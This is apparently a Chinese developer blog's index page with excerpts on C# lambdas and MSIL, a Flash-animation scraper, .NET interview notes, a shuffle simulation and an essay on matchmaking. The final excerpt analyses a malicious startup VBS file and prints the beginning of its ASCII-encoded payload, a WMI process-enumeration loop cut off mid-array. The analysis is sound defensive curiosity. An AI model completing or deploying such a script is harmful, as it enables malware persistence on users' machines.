Lambda高手之路第三部分

背后的秘密-MSIL 通过著名的LINQPad,我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图 我们会看三个例子,第一个Lambda表达式如下: Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s);// + local }; 对应的普通函数是这样的 Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s);// + local }; 生成的MSIL代码片段如下: DoSomethingNormal: IL_0000: nop IL_0001: ldarg.1 IL_0002: call System.Console.WriteLine IL_0007: nop IL_0008: ret <Main>b__0: IL_0000: nop IL_0001: ldarg.0 IL_0002: call System.Console.WriteLine IL_0007: nop IL_0008: ret 最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西,仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中,我们做了同样的事情。在当前对象里调用了一个方法。 我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。 第二个例子将展示Lambda表达式真正的奇妙之处,在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下 void Main() { int local = 5; Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s + local); }; global = local; DoSomethingLambda("Test 1"); DoSomethingNormal("Test 2"); } int global; void DoSomethingNormal(string s) { Console.WriteLine(s + global); } 没什么不同的似乎。关键是:lambda表达式如何被编译器处理 IL_0000: newobj UserQuery+<>c__DisplayClass1..ctor IL_0005: stloc.1 IL_0006: nop IL_0007: ldloc.1 IL_0008: ldc.i4.5 IL_0009: stfld UserQuery+<>c__DisplayClass1.local IL_000E: ldloc.1 IL_000F: ldftn UserQuery+<>c__DisplayClass1.<Main>b__0 IL_0015: newobj System.Action<System.String>..ctor IL_001A: stloc.0 IL_001B: ldarg.0 IL_001C: ldloc.1 IL_001D: ldfld UserQuery+<>c__DisplayClass1.local IL_0022: stfld UserQuery.global IL_0027: ldloc.0 IL_0028: ldstr "Test 1" IL_002D: callvirt System.Action<System.String>.Invoke IL_0032: nop IL_0033: ldarg.0 IL_0034: ldstr "Test 2" IL_0039: call UserQuery.DoSomethingNormal IL_003E: nop DoSomethingNormal: IL_0000: nop IL_0001: ldarg.1 IL_0002: ldarg.0 IL_0003: ldfld UserQuery.global IL_0008: box System.Int32 IL_000D: call System.String.Concat IL_0012: call System.Console.WriteLine IL_0017: nop IL_0018: ret <>c__DisplayClass1.<Main>b__0: IL_0000: nop IL_0001: ldarg.1 IL_0002: ldarg.0 IL_0003: ldfld UserQuery+<>c__DisplayClass1.local IL_0008: box System.Int32 IL_000D: call System.String.Concat IL_0012: call System.Console.WriteLine IL_0017: nop IL_0018: ret <>c__DisplayClass1..ctor: IL_0000: ldarg.0 IL_0001: call System.Object..ctor IL_0006: ret 和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是,编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里,这就给了捕获的变量一个全局的作用域,通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。 ...

2012-12-20 · 1 min · bystander

Lambda高手之路第二部分

闭包的影响 为了展示闭包的影响,我们看下面这个例子。 var buttons = new Button[10]; for(var i = 0; i < buttons.Length; i++) { var button = new Button(); button.Text = (i + 1) + ". Button - Click for Index!"; button.OnClick += (s, e) => { Messagebox.Show(i.ToString()); }; buttons[i] = button; } //如果我们点击按钮会发生什么 这个问题很怪,我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0,按钮1显示1,等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10. 局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。 var button = new Button(); var index = i; button.Text = (i + 1) + ". Button - Click for Index!"; button.OnClick += (s, e) => { Messagebox.Show(index.ToString()); }; buttons[i] = button; 问题解决了,但是index变量是一个值类型,因此保留了“全局”i的一个拷贝 最后一个话题是一个叫做表达式树的东西,他和Lambda表达式协作。并且,他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是:如何发现目标函数 1. 传递进去的变量的名称是什么 2. 方法的主体是什么 3. 函数体里使用了什么类型 Expression 解决了这些问题,他允许我们挖掘生成的表达式树,我们也可以执行传递给Func和Action委托的函数,而且,可以在运行时解析Lambda表达式 我们看一下如何使用Expression 类型的例子 Expression<Func<MyModel, int>> expr = model => model.MyProperty; var member = expr.Body as MemberExpression; var propertyName = memberExpression.Member.Name; //当 member != null的时候执行 ... 这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息,比如参数和方法体。 方法体包含完整的解释树,我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然,返回可以为null,无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字,而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。 注意:当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单,更优雅的解决方案,那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此,如果我们仅仅想知道名字,而不想知道其他更多的信息,那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字 string WhatsMyName([CallerMemberName] string callingName = null) { return callingName; } Lambda表达式的性能 有一个很大的问题:Lambda表达式有多快?好吧。首先,我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。 最有趣的一个讨论是如果Lambda表达式产生了闭包,将会和使用全局变量的方法一样快。这就产生了一个有趣的问题,和一个区域内局部变量的数目多少会有关系吗? 我们看看测试代码,通过4个不同的指标,我们可以看到普通方法和Lambda方法的不同。 using System; using System.Collections.Generic; using System.Diagnostics; namespace LambdaTests { class StandardBenchmark : Benchmark { const int LENGTH = 100000; static double[] A; static double[] B; static void Init() { var r = new Random(); A = new double[LENGTH]; B = new double[LENGTH]; for (var i = 0; i < LENGTH; i++) { A[i] = r.NextDouble(); B[i] = r.NextDouble(); } } static long LambdaBenchmark() { Func<double> Perform = () => { var sum = 0.0; for (var i = 0; i < LENGTH; i++) sum += A[i] * B[i]; return sum; }; var iterations = new double[100]; var timing = new Stopwatch(); timing.Start(); for (var j = 0; j < iterations.Length; j++) iterations[j] = Perform(); timing.Stop(); Console.WriteLine("Time for Lambda-Benchmark: \t {0}ms", timing.ElapsedMilliseconds); return timing.ElapsedMilliseconds; } static long NormalBenchmark() { var iterations = new double[100]; var timing = new Stopwatch(); timing.Start(); for (var j = 0; j < iterations.Length; j++) iterations[j] = NormalPerform(); timing.Stop(); Console.WriteLine("Time for Normal-Benchmark: \t {0}ms", timing.ElapsedMilliseconds); return timing.ElapsedMilliseconds; } static double NormalPerform() { var sum = 0.0; for (var i = 0; i < LENGTH; i++) sum += A[i] * B[i]; return sum; } } } 本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此,本质上。上述代码里有三个方法 1个是Lambda测试,一个是普通测试,还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单,我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。 ...

2012-12-19 · 2 min · bystander

Lambda高手之路第一部分

好长时间没发技术文章了,恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。 介绍 Lambda表达式是使代码更加动态,易于扩展并且更加快速(看完本文你就知道原因了)的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示,就像VS里一样。 Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起,使用Html扩展方法将会使得在后台创建模型成为可能。 本文会讲到如下的知识。 1.简短的介绍-Lambda表达式是什么,以及为什么和匿名方法不同(之前我们使用的) 2.走近Lambda表达式的性能-在哪些情况下比起标准方法,Lambda会提高/损失性能 3.深入-Lambda表达式在MSIL代码中是什么样 4.一些来自JS世界的模式映射到C#中 5.那些能够提高性能,并且代码看起来相当舒服的使用Lambda的情况。 6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。 如果你期望本文是一篇入门教程我可能要让你失望了,除非你真的很优秀并且很聪明,当然我不是这种人,所以我也想提前声明一下:为了读懂这篇文章你可能需要C#的一些高级知识,并且对C#比较了解。 你应该期望本文试着解释一些事情给你,也会解释一些有趣的问题,至少对我来说是这样的。最后我会展示一些实际的例子和模式,如我所说,Lambda表达式简化了很多情况。因此写显式的模式很有用。 背景知识-什么是Lambda表达式 在C#1.0中,委托被提出了,它使得传递函数成为可能,一句话就是委托就是强类型的函数指针,但委托比指针更强大。一般传递一个函数需要如下几步。 1. 写一个委托(就像一个类)包含返回类型和参数类型 2. 使用委托作为某一个函数的参数类型,这样,该函数就可以接受和委托描述的有着相同签名的函数了 3. 将一个委托类型的函数传递给委托,创建一个委托实例。 如果听起来很复杂,确实本来很复杂,但这是必需的。(虽然不是造火箭,但是比你认为的要更多的代码),然而步骤三不是必需的,编译器会为你做他,但是步骤1和2却是必不可少的。 幸运的是C#2.0出现了泛型,现在我们也可以写泛型类,方法,更重要的是,泛型委托,然而,直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托(当然有一些不同的重载),会覆盖99%的使用情况: 1.Action 没有任何输入参数,也没有输出参数。 2.Action<t1,…t16> 需要1-16个参数,没有输出参数。 3.Func<t1….t16,tout>需要0-16个参数,一个输出参数 Action和其对应的泛型版本(仅仅是一个动作,执行一些事情)返回void的时候。Func则可以返回最后一个参数指定的类型,通过这两个委托类型,我们事实上,大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。 那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法,也就是一个匿名方法,然后这个语法一直未能流行起来,一个相当简化的匿名方法的版本类似这样: Func<double, double> square = delegate (double x) { return x * x; } 为了提高这种语法,欢迎来到Lambda表达式的国度。首先,这个Lambda名字怎么来的?事实上。来自于数学上的λ演算,更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算,所以我们有0-N个输入参数和一个返回值,而在编程中,也可以没有返回值 我们看一下Lambda表达式的一些例子 //编译器可以识别,然后就可以通过dummyLambda();来调用了 var dummyLambda = () => { Console.WriteLine("Hallo World from a Lambda expression!"); }; //可以通过类似 double y = square(25);来使用 Func<double, double> square = x => x * x; //可以通过类似double z = product(9, 5);来使用 Func<double, double,double> product = (x, y) => x * y; //可以通过类似printProduct(9, 5);来使用 Action<double, double> printProduct = (x, y) => { Console.Writeline(x * y); }; //可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 }); Func<double[], double[], double> dotProduct = (x, y) => { var dim = Math.Min(x.Length, y.Length); var sum = 0.0; for(var i = 0; i != dim; i++) sum += x[i] + y[i]; return sum; }; //可以通过类似 var result = matrixVectorProductAsync(...);使用 Func<double[,], double[], double[]=""> matrixVectorProductAsync = async (x, y) => { var sum = 0.0; /* do some stuff ... */ return sum; }; 从上面的代码段里我们可以学到一些东西 ...

2012-12-18 · 2 min · bystander

从相亲延伸出的婚恋意义

相亲现在挺火的。。 文章来自xiuloveshow 老妈说:“妈希望你找个家庭条件好点儿的,以后少吃苦,别走老妈的路!”。老爸说:“老爸没别的要求,就希望你找个家庭和睦的,这样的家庭教育出来的子女各方面都不会差到哪儿去,家庭条件爸不是特别看重”。老哥说:”这么大个村儿就你一个单身了,小心被剩下!“。朋友说:”咋总是忙着给别人介绍,赶紧把自己推销出去再说!”我说:我想找个在我不开心的时候,什么都不用做,就静静的呆在我旁边,即使是看着我哭也好。 三毛说:看得不顺眼的话,千万富翁也不嫁;看得中意,亿万富翁也嫁。张小娴说:你走,我不送你。你来,无论多大风多大雨,我都要去接你。史铁生说:爱情就是在追求喜欢和爱,这二者同时达到便是爱的理想状态,爱就是一种理想。我说:嫁与不嫁,送与不送,喜欢与爱,我只想用我自己的方式去做人生最重要的选择,这种东西没有参数值,用完一次便没有了! 之前为凑热闹跟一老乡去相亲,相亲的目标性特别强,大家都冲着结婚去的,他们从来不会凭感觉去判断这个人是否是自己中意的人。对方开口便问月工资多少?家里买房没?而男方像是履行一项任务或是已经习惯了这样一套开场白,还未等女方开口,从爷爷的退休工资开始说到自己的工资水平。这其中我没有听到任何一句关于心理沟通的话题,全是围绕物质展开的激烈对白。我有点儿后悔跟她去了,这让我看到了现代人最“真实”的婚恋观,我有些后怕! 后来,我问老乡对男方的印象怎么样。她毫无掩饰的说:“家庭条件还可以,人也挺老实,没更好的就成了“”你到底想找个什么样的?”因为我不确定她的方向,作为女性擅有的八卦心态,我还是忍不住问了。“没什么特别的要求,只要有房,工资还可以,父母不要我们负担就好了。至于感情可以慢慢培养的!”她的表情很轻松,像是在述说一件很平常的事。我有些失望,像是在风和日丽的宁静之夏突然袭来的狂风暴雨。 我想如果是我,我不一定要多大的房,多高的工资。物质和精神两个层面,我永远把精神排第一。两个人每天围绕着柴米油盐酱醋茶,围绕着生活中的琐琐碎碎,内心的苦闷却苦于找不到人述说。彼此不懂对方的世界,不懂爱好为何物,不懂兴趣乃何价,这样的恋爱,这样的婚姻多么的恐怖。我不希望半夜醒来向着电台诉说悲伤,乞求听众收容我的眼泪! 如史铁生所说,爱乃一种理想。即为理想凭努力不一定能达到。喜欢一个人和爱一个人是完全不同的两种境界,喜欢一个人,当激情用尽之时,就只有靠着那张印着两个人照片的结婚证来维持彼此的关系,这种关系完全靠法律来维系。爱一个人,当你生老病死,激情褪去之后依然想着跟你白头到老。这些恐怕是一张房产证换不来的细水长流般的幸福。关于物质和精神,关于爱和不爱。物质已经主导了我们的价值取向,我们不再自已。物质可以让人放弃精神随时转变自身角色,爱也会因为物质变得不爱了。 我已经很久没有听到关于爱的序曲了。物质可以这样轻易的扭曲爱的意义,我们追求的幸福到底为何物? 当年因物质放弃了最宝贵的东西,最稀有的精神支撑,当你得到了你所有物质的满足,物质填充了你的欲望,你能坦然的对自己说你很幸福?当你开着宝马,驾着良驹,住着豪宅,驱着游艇,是否我们就幸福了? 我努力学习,认真工作,享受音乐,沉侵阅读,爱好写作,喜欢画画,偶尔给老爸老妈给好朋友煲电话粥!我不依赖任何人,我不向任何人屈服!面对机会我不放弃,面对感情拿得起放得下,面对亲情我感动无疑!喜欢倾听,喜欢跟人交往,喜欢跟老人交谈…。消费过后还有金钱结余,偶尔向文字倾吐心声。继续等待着那个可以说话的人出现。自创的理想也可以很诗意! 我希望的婚恋观如同我的生活般平静,如果你能走进我的世界,如果你懂我的世界,我们可以无话不谈。但似乎这变成了一种奢侈,我们就是简单的无话可说!你在你的世界游历,我在我的世界漫步,踽踽独行有何不可!

2012-12-10 · 1 min · bystander

3分钟理解Lambda表达式

1.什么是Lambda表达式 Lambda表达式是一个匿名方法,通常在LINQ中被用来创建委托 简单来说。它是一个没有声明,没有访问修饰符,没有返回值。甚至没有名字的方法。 2.为什么我们需要使用Lambda表达式?或者说为什么我们要写一个没有名字的函数? 为了方便,这种快捷方式允许你在调用的地方直接编写代码,尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。 好处 1.代码量减少。不必写方法的名称。返回值和访问修饰符 2.当阅读代码的时候。直接就可以看到被调用函数的代码,不用去别的地方。 Lambda表示应该短些。太复杂了。可读性就下降了 如果编写Lambda表达式 Lambda基本的定义是:参数=>执行代码 举个例子 n = > n % 2 == 1 n是输入参数 n % 2 == 1 是函数体 你可以读作:给这个匿名方法传入一个参数n,如果n是奇数就返回true 使用该Lambda的例子 List<int> numbers = new List<int>{11,37,52}; List<int> oddNumbers = numbers.where(n => n % 2 == 1).ToList(); //现在oddNumbers 里面就是11和37了 ok.基本的Lambda表达式就是这样了。

2012-12-08 · 1 min · bystander

从平庸到幸福

一篇来自左岸的文章,可以读一读。只是不知道有几人能够认认真真读完。文予有缘人。随意吧。 作者:文刀 当一件事情刚开始时,我们总会偏向于好的预期,因为这样我们才会去行动。当事情在不断的进展时,外界的因素(客观条件)总会引起我们主观上的波动,时而信心满满,时而跌入谷底。然而事情总是要有个结果的,在这样一种偏向反复,时好时坏的自我预期中,有些人选择了放弃,有些了继续了坚持。放弃,或许是因为有更明智的选择,又或许已经没戏了。坚持,或许是因为没有了退路,又或许是总体偏向于好的预期。不管怎么样,预期总会无穷的趋于向现实要一个结果。而关于结果是正无穷还是负无穷,我们却无法量化,因为做每一个选择,特别是人生选择时,其机会成本(选择成本)是无法量化的。读三年研与先工作三年是难以在同一个人身上同时进行,是不可逆的单一选择,也就无法真正理性地去决定。而我们之所以能够去决定,大部分取决于我们自己与身边人的偏好。所幸,我们都能也都应该看到,做如此的选择并没有犯下方向上的错误。总体上这条路上,我们的步伐是朝前迈的。我们的学识,我们的视野都在增进,然而,要问我们是否就此告别了平庸,是否走向了幸福与快乐,这却是无关的。 知识的增长并不意味着个人道德水平的提高或是人个涵养的提升。在物欲横流的社会中,总能听到那么多关于知识分子的道德丑闻与民工的善行。平庸并不是表明人的身份,而是表明个人的如何从众。所以,对于钱权与名利的追求,恰恰是平庸之举。再看看幸福,知识的提高会带来更高的视野,也可能会导致更多的欲求。有限理性的欲求会是生活源源不断的动力,带来的实现会成为幸福的体验。纵然如此,这也只是一时的,更多的幸福并不在于我们要不断去满足,而是要学会去知足,学会去感激,去给予。所以,幸福是一种认知状态,是一种心境。 再来设想一下,当我们把梦想比作一种财富的实现,我们就会发现。当一阶段内的目标实现了,我们就会寻找下一阶段的目标,然后再去实现它。这样的生活是富有挑战与方向感的,也就是有意义的,这种不断的自在追求本身会是幸福的。如此,追求财富就如梦想一般无可厚非(可能财富就是梦想),但如果我们无法认清财富存在的更多效用,我们就免不了坠入平庸,欲壑难填,我们又何来幸福。一千万在当下社会足以自在一把,然而却已然超出了本身的欲求(理性的),那么就应该拿出钱来做好事,给予会让自己更为幸福,因为我们可以就此看到更多幸福的存在。 即使把幸福看作是一种认知状态,一种心境,但其也应该是我们毕生的追求。以前,我们生活无忧无虑,饭来张口衣来伸手,但我们都明白,那也只是一时的,是建立在亲人的血汗之上的。如今,我们走出校园,参加工作,就要懂得去承担相应的去给予身边人力所能及的照顾。从接受到享受再到给予最终还是到享受,这一过程就是认知状态的提升,就是对幸福的追求。幸福是学会接受与学会给予的过程。心境是个什么概念,又要如何提升呢?我们都清楚,在现世中不存在世外桃源,田园牧歌也不太现实。那么,我们就要学会把这种不可能变成可能带到生活中,其唯一的途径就是提升我们的心境。而这并不是说,我们要在现实生活中学会自欺欺人,而是把这样一份浪漫主义的情怀赋予到真实中,做到真、性、情。对于生活中的真真假假,我们要学会看到,看透,看淡;对于生活中的点点滴滴,我们要学会感激,感怀,感悟;还有对于他人,对于自己,也要力求做到真与善,从而现实幸福的美感。如此,心境的提高是一个领悟与缓慢提升的过程。幸福是一生的追求。 当我们意识到追求梦想更深的是在追求幸福时,我们又深深的坚信着幸福是一种心境,那我们何不学会像相信幸福总是存在一样去相信梦想会实现呢,我们又何必多去假定另一种不好的预期存在呢。既然我们已经走在路上了,在正确追求幸福的路上呢,那我们何不去幸福呢 ?相对于冷漠的大众,我深信,时时能感到幸福,时时有梦想,为断去追求幸福的人,注定是个不平庸的人。

2012-12-05 · 1 min · bystander

[源码]打包下载算法与数据结构演示动画

很早的时候,学习数据结构的时候。收集了一下演示的动画。帮助理解。但是不全。今天在看KMP算法的时候。看到了福州大学的一个精品课程。。81个演示动画呢。。想打包下载收藏。话说福州大学这才是好样的。踏踏实实搞学术。 第一种方法就是手工了。。嘎嘎。你敢么。一个个下载。。。一个个改名。。 第二种就是用整站下载的软件了。。但是我看了一下swf的命名。我就知道下载下来意义不大。因为名字不好理解。 第三种就是自己写个程序吧。。 整体思路,首先访问课程页面,解析得到每一章的标题和内容,然后创立章节文件夹,得到每个动画对应的html页面,然后对html页面解析,提取swf地址。然后下载就行了。 比较疼的地方是那个页面用的是gb2312编码。而解析神器HtmlAgilityPack,不能指定编码。只能想办法绕过了。 WebClient client = new WebClient(); MemoryStream ms = new MemoryStream(client.DownloadData(url)); HtmlDocument doc = new HtmlDocument(); doc.Load(ms, Encoding.GetEncoding("gb2312")); 绕过方法就是先使用内置类得到内存流。然后从内存中加载。 然后呢。涉及的技术就是xpath了。参考着xpath的文档。搞定了不少。中间还有一个地方就是我没注意看。这个页面有两个文件是一样名字。。调试了几次才发现。。 using System; using System.Collections.Generic; using System.Linq; using System.Text; using HtmlAgilityPack; using System.IO; using System.Threading; using System.Net; namespace FzuSwf { class Program { static void Main(string[] args) { DoWork(); } //执行任务 static void DoWork() { HtmlWeb web = new HtmlWeb(); HtmlDocument doc = web.Load("http://ds.fzu.edu.cn/fine/resources/"); HtmlNode divResource = doc.GetElementbyId("divResource"); foreach (HtmlNode child in divResource.ChildNodes) { if (child.Name == "table") { HtmlNode ptile = child.SelectSingleNode("tr[1]"); Directory.CreateDirectory(ptile.InnerText.Trim()); int i = 0; HtmlNodeCollection pcontents = child.SelectNodes("tr[position()>1]"); Console.WriteLine(ptile.InnerText.Trim()); foreach (HtmlNode one in pcontents) { string link = one.SelectSingleNode("./td[1]/p[1]/a[@href]").Attributes["href"].Value; link = @"http://ds.fzu.edu.cn/fine/resources/" + link; string filename; filename = one.InnerText.Trim(); if (one.InnerText.Trim() == "二叉树的顺序存储表示") { filename += i; i++; } string swfLink = getSwfName(link); Console.WriteLine("--" + filename + swfLink); DownSwf(swfLink, ptile.InnerText.Trim() + @"/" + filename + ".swf"); Thread.Sleep(1000); } } } } //下载指定的swf static void DownSwf(string url, string desname) { Uri u = new Uri(url); WebClient myWebClient = new WebClient(); myWebClient.DownloadFileAsync(u, desname); } //获取指定页面的那个swf名称 static string getSwfName(string url) { WebClient client = new WebClient(); MemoryStream ms = new MemoryStream(client.DownloadData(url)); HtmlDocument doc = new HtmlDocument(); doc.Load(ms, Encoding.GetEncoding("gb2312")); HtmlNode hd = doc.DocumentNode; string str = hd.SelectSingleNode("//a[@href]").Attributes["href"].Value; return @"http://ds.fzu.edu.cn/fine/resources/" + str; } } } ...

2012-12-03 · 1 min · bystander

C#与.net 程序员面试笔记

这是前几天读的书。书不难。10-13章跳过了。以后再看。 以前,一个应用程序对应一个进程。并且为该进程指定虚拟内存,这样。进程会消耗很多资源,而且进程之间的通信业比较麻烦 应用程序域可以理解为很多应用程序域都可以运行在同一个.net 进程中,降低内存消耗。同时不同的域之间隔离。安全有保证。通信也简单。 程序集是指包含编译好的。面向.net framework的代码的逻辑单元。是完全自我描述性的一个逻辑单元。可以存储在多个文件中。简单来说,程序集就是几个彼此有关联程序文件的集合。程序集会包含程序的元数据。描述了对应代码中定义的方法和类型。 装箱和拆箱:装箱转换是将一个值类型显式或隐式的转换成一个object对象。并且把这个对象转换成一个被该值类型应用的的接口类型。装箱后的object对象中的数据位于堆中。一般应该避免这种运算。 CLR将值类型的数据包裹到匿名的托管对象中,并将托管对象的引用放在Object类型的变量中。这个过程称为装箱。一般还是使用泛型来代替多好。 值类型和引用类型:值类型实例通常分配在线程的栈上。并且不包含指向任何实例数据的指针。引用类型实例分配在托管堆上。变量保存了实例数据的内存引用。引用类型复制的话会导致引用同一个内存地址。 C#预处理指令是在编译时调用的。预处理指令通知C#编译器要编译哪些代码。并指出如何处理特定的错误和异常。比如用在一些调试的时候。在顶部define一个debug 内部的测试部分写上测试用例。具体示例 //定义条件变量,注意条件变量的定义要在代码的最前面 #define Debug using System; namespace MyConsole { class Preprocesor { public static void Main() { //如果条件变量是Debug则运行单元调试代码,再运行功能模块返回运行结果 #if Debug Console.WriteLine("运行单元测试模块"); Console.WriteLine("运行功能模块,返回输出结果"); Console.Read(); #elif Release //如果条件变量是Release,则直接运行功能模块返回运行结果 Console.WriteLine("运行功能模块,返回输出结果"); Console.Read(); #endif } } } C#中的指针 指针是一个无符号整数。是以当前系统寻址范围为取值范围的整数,CLR支持三种指针类型:受托管指针,非托管指针,非托管函数指针,受托管指针存储在堆上的托管块的引用,一个非托管指针就是传统意义上的指针,要放在unsafe中使用,C#中指针并不继承自Object String 是CLR的类型名称。而string是C#的关键字。其实C#编译时。。会增下如下代码: using string=System.String Array 到ArrayList的转换 1.使用ArrayList.Adapter(ArrayName) 可以直接得到ArrayList 2.使用遍历逐个添加到ArrayList里。 反向的话直接使用(Array[])ArrayListName.ToArray(typeof(Array));即可 checked和unchecked语句用于控制整形算术运算和显示转换的溢出检查上下文。checked关键字用于对整型算术运算和转换显式启用溢出检查。因为默认情况下。如果表达式产生的值超过了类型的范围。则常数表达式将会导致编译时错误。而非常数表达式则在运行时计算并将引发异常。 Asp.Net 中的Request对象主要功能是从客户端得到数据信息。他的属性比较多。比如UserLanguage,TotalBytes,Path,ApplicationPath ViewState是其的一个重要特性。用于把生成页面要用的状态值保存到一个隐藏域里。而不是用cookie/内存 SOAP是Web Service应用的基础协议。他是一种轻量的简单的。基于xml的协议。被设计成在wEb上交换结构化的和固有的信息。 WSDL是一种用于描述web服务和说明如何与Web服务通信的XML语言。WSDL是一种符合XML语法规范的语言。它的设计完全基于Soap协议的实现。当一个WEb Service 服务器期望为使用者提供服务说明时,WSDL语言是最好的选择之一。 **对企业的一些认识 ** 千万不要说自己未来的打算是做到管理层,首先对管理层的定义不清楚。职务不清楚。所以保险的答案是我会努力钻研技术。使得能够达到业内的专业人士。深刻理解公司和行业 我是为了找一份长期性的工作。我不喜欢频繁的跳槽我希望在这个利于发展自己的事业。深入学习。向专业人士请教。那。该我想问这个职务是长期的吗? 不要把公司想像成慈善机构。工作的运作方面应该是尽可能快的实现盈利。树立品牌,赢得客户。我的工作就是完成企业的良性运作。 如果被问到是否需要考虑看分数。应该说用人单位确实需要全面考量。也要考虑应聘者的工作积极性/服从性。实际经验/对开发的理解诶。这些也许比分数更有价值。 应届生的优缺点应该是足够的理论知识和专业能力。缺点是工作和社会经验不足。

2012-11-28 · 1 min · bystander

C#模拟手工洗牌(附测试)

洗牌大家都知道,代码实现最广泛的一种就是产生两个随机数,然后交换这两个随机数为下标的牌,但是这种的洗牌并不能保证同概率,你可以参考本文做一些测试,本文代码没啥可说的。我写出了非常详细的注释 ps:刚开始写那个随机数的时候,我随便给了个种子2012.。结果你懂的。。意外意外。这个全局的result数组让我很疼,代码有什么可以改进的,欢迎留言指出。不胜感激。 /*Author:Bystander *Blog:http://leaver.me *Date:2012/11/24*/ using System; class Program { static int[,] result; static void Main() { //初始牌的顺序,我只测试10张牌的情况 char[] _arr = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J' }; result = new int[_arr.Length, _arr.Length]; //进行1000次,来统计结果的数字. for (int i = 0; i < 10000; i++) { ShuffleArray_Manual(_arr); SumCount(_arr); } int j = 0; foreach (int i in result) { if (j % result.GetLength(1) == 0) { Console.WriteLine(); } Console.Write(i + "\t"); j++; } } //模拟洗牌 static void ShuffleArray_Manual(char[] arr) { Random rand = new Random(Guid.NewGuid().GetHashCode()); int len = arr.Length; int mid = len / 2; /* * 洗牌的过程重复进行5次,为了洗的均匀.每次都是先平分扑克,然后完全交叉,然后从牌中拿出一部分,放在牌的最前面,也就是切牌,然后再进行下次平分扑克。 */ //双手洗牌5次,默认认为是平分扑克 for (int n = 0; n < 5; n++) { //两手洗牌 for (int i = 1; i < mid; i += 2) { char tmp = arr[i]; arr[i] = arr[mid + i]; arr[mid + i] = tmp; } //随机切牌 //注意切牌指的是从中抽出n张牌放到扑克牌的前面去 char[] buf = new char[len]; for (int j = 0; j < 5; j++) { //产生从大于等于1小于len的数 int start = rand.Next() % (len - 1) + 1; //产生大于等于0小于等于一半的数 int numCards = rand.Next() % (len / 2) + 1; if (start + numCards > len) { numCards = len - start; } //把扑克牌arr的前start张牌复制到buf里 Array.ConstrainedCopy(arr, 0, buf, 0, start); ///然后把切出来的numCards张牌,起始下标为start的移动到扑克牌arr的最前面 Array.ConstrainedCopy(arr, start, arr, 0, numCards); ///最后把切出去的buf牌(numCards张)复制回扑克牌arr的numCards之后的元素 Array.ConstrainedCopy(buf, 0, arr, numCards, start); } } } //统计一次结果的次数,存入结果数组 static void SumCount(char[] arr) { for (int i = 0; i < arr.Length; i++) { result[arr[i] - 'A', i] += 1; } } }

2012-11-25 · 2 min · bystander

一个恶意vbs脚本的简单解码

今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序,当时没什么事,就打开看看。想知道是个什么东西。 由于eset阻止,我就把文件拖出来。改个后缀。发现代码不长,前半段是ascii码编码的。。 strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,3